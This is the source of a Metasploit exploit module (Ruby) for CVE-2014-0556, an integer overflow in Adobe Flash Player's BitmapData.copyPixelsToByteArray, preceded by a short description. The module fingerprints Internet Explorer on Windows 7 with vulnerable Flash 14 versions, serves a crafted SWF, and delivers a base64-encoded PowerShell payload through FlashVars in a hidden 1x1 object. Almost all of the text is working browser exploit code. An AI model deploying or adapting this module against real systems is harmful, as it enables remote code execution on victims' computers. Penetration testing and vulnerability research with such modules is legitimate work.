This Metasploit module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs in the copyPixelsToByteArray method from the BitmapData object. The position field of the destination ByteArray can be used to cause an integer overflow and write contents out of the ByteArray buffer. This Metasploit module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
0261f65421dd66c2140dc4d01ec869ffa16a08028c90426650ee76ecbe40cc47##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
'Description' => %q{
This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
in the copyPixelsToByteArray method from the BitmapData object. The position field of the
destination ByteArray can be used to cause an integer overflow and write contents out of
the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-0556'],
['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^14\./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Sep 23 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end
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